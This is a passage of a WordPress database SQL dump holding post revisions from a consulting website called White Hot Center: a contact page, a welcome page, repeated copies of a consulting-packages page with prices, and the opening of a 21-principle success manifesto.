(346, 2, '2009-06-29 17:57:41', '2009-06-30 00:57:41', '<img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" />\r\n<h2><span style="color: #ff6600;">One of the things about my life that I am most proud\r\nof is the fact that I live and work in a manner and place\r\nthat I love. For years, I would daydream about living and\r\nworking in a beautiful, natural environment. Nothing is\r\nmore comforting to my soul than living in an orange grove. I''m delighted to share the view with you, and remind you that you can create in the physical world whatever you daydream about in the formless world of your imagination.</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nt 805 640 3920</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\n<span style="color: #ff6600;"><strong>I am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.</strong></span>\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\n<strong><span style="color: #ff6600;">I also advise corporations, organizations, individual creative entrepreneurs, design firm principals, professionals and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, try arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Power Session banner to the right. Remember, the nature of my consulting work is weighted to the inner game of business and life success. If you need help sifting through quantitative or qualitative data, or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via my email link and I’ll promptly reply.</span></strong>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-06-29 17:57:41', '2009-06-30 00:57:41', '', 143, 'http://www.whitehotcenter.com/143-revision-17/', 0, 'revision', '', 0),
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INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(349, 2, '2009-06-30 18:38:01', '2009-07-01 01:38:01', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-bkg.gif"><img class="alignnone size-full wp-image-344" title="thomson-bkg" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-bkg.gif" alt="thomson-bkg" width="450" height="441" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is our heart''s desire burning bright and hot within us. </span></h2>\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many corporate executives, creative entrepreneurs and professionals I work with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to show their appreciation by paying the higher fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life. Just about everybody I have worked with has a desire to experience some level of mastery in these areas of business and in their life''s pursuits.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that our great work and highest value to the world is best expressed through the venue of our businesses. The desire to grow and expand is our truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nI’ve been a creative entrepreneur all my adult life. For over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my continuing work in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nI am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. I want to keep you inspired to create the business and life success you really want, doing whatever brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\n<strong>For creative entrepreneurs, professionals and organizations, I offer on-going consulting packages and information products that provide a deeper level of guidance on strategies to help you grow your business and increase your influence and contribution to the world. You can learn more about my services in the Consulting Section of the site.</strong>\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-30 18:38:01', '2009-07-01 01:38:01', '', 172, 'http://www.whitehotcenter.com/172-revision-43/', 0, 'revision', '', 0),
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(351, 1, '2009-07-02 13:30:17', '2009-07-02 20:30:17', 'Listing of podcasts', 'Pods', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2009-07-02 13:30:17', '2009-07-02 20:30:17', '', 133, 'http://www.whitehotcenter.com/133-revision-5/', 0, 'revision', '', 0),
(352, 1, '2009-07-02 13:31:12', '2009-07-02 20:31:12', 'Listing of podcasts', 'Pods', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2009-07-02 13:31:12', '2009-07-02 20:31:12', '', 133, 'http://www.whitehotcenter.com/133-revision-6/', 0, 'revision', '', 0),
(353, 1, '2009-07-02 16:06:09', '2009-07-02 23:06:09', 'Listing of podcasts', 'Pods', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2009-07-02 16:06:09', '2009-07-02 23:06:09', '', 133, 'http://www.whitehotcenter.com/133-revision-7/', 0, 'revision', '', 0),
(354, 1, '2009-07-02 16:19:35', '2009-07-02 23:19:35', 'Listing of podcasts', 'Pods', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2009-07-02 16:19:35', '2009-07-02 23:19:35', '', 133, 'http://www.whitehotcenter.com/133-revision-8/', 0, 'revision', '', 0),
(355, 1, '2009-06-08 19:20:21', '2009-06-09 02:20:21', '', 'Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-06-08 19:20:21', '2009-06-09 02:20:21', '', 136, 'http://www.whitehotcenter.com/136-revision-4/', 0, 'revision', '', 0),
(356, 2, '2009-06-30 15:18:55', '2009-06-30 22:18:55', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #333333;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2>1) you must do what matters to you\r\n2) what you do must matter to others</h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<span style="color: #ff6600;"><strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.</span>\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 15:18:55', '2009-06-30 22:18:55', '', 138, 'http://www.whitehotcenter.com/138-revision-36/', 0, 'revision', '', 0),
(357, 1, '2009-07-02 16:23:48', '2009-07-02 23:23:48', '', 'Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-02 16:23:48', '2009-07-02 23:23:48', '', 136, 'http://www.whitehotcenter.com/136-revision-5/', 0, 'revision', '', 0),
(358, 1, '2009-07-02 16:22:20', '2009-07-02 23:22:20', 'Listing of podcasts', 'Pods', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2009-07-02 16:22:20', '2009-07-02 23:22:20', '', 133, 'http://www.whitehotcenter.com/133-revision-9/', 0, 'revision', '', 0),
(359, 1, '2009-07-02 16:23:58', '2009-07-02 23:23:58', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #333333;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2>1) you must do what matters to you\r\n2) what you do must matter to others</h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<span style="color: #ff6600;"><strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.</span>\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-07-02 16:23:58', '2009-07-02 23:23:58', '', 138, 'http://www.whitehotcenter.com/138-revision-37/', 0, 'revision', '', 0),
(360, 1, '2009-07-02 16:25:43', '2009-07-02 23:25:43', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #333333;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2>1) you must do what matters to you\r\n2) what you do must matter to others</h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<span style="color: #ff6600;"><strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.</span>\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-07-02 16:25:43', '2009-07-02 23:25:43', '', 138, 'http://www.whitehotcenter.com/138-revision-38/', 0, 'revision', '', 0),
(2973, 1, '2014-06-30 12:53:15', '2014-06-30 19:53:15', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles, or aims of a particular point of view.  </span></h2>\r\n<h2><span style="color: #ff6600;">Manifesto comes from the Latin word manifestus, which means to make obvious.  These 21 guiding principles form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in every area of your life.</span></h2>\r\n<h2><strong> </strong><strong>1 as you think, so it is</strong><span style="color: #ff6600;"><em><span style="color: #808080;">\r\nall creation begins with your thoughts.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</span></em></span><span style="color: #808080;"> <strong>\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must serve others</strong><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">meaning + contribution = a life of significance.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>4  begin now with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">there is no shortage of supply, you are at all times surrounded by potential and possibility.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">forget the past, your future is right now!</span>\r\n</em></span></h2>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">do everything in an easy and relaxed manner.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">don’t be afraid to put your own “dent in the universe”.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it''s all about the quality of your presence.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive\r\nin cash value</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the ultimate competitive advantage and the key\r\nto wealth.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">get this reversed and it’s game over!</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">doing good things for people is good business.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">It’s all about them not you. Serve don''t sell.\r\n</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: 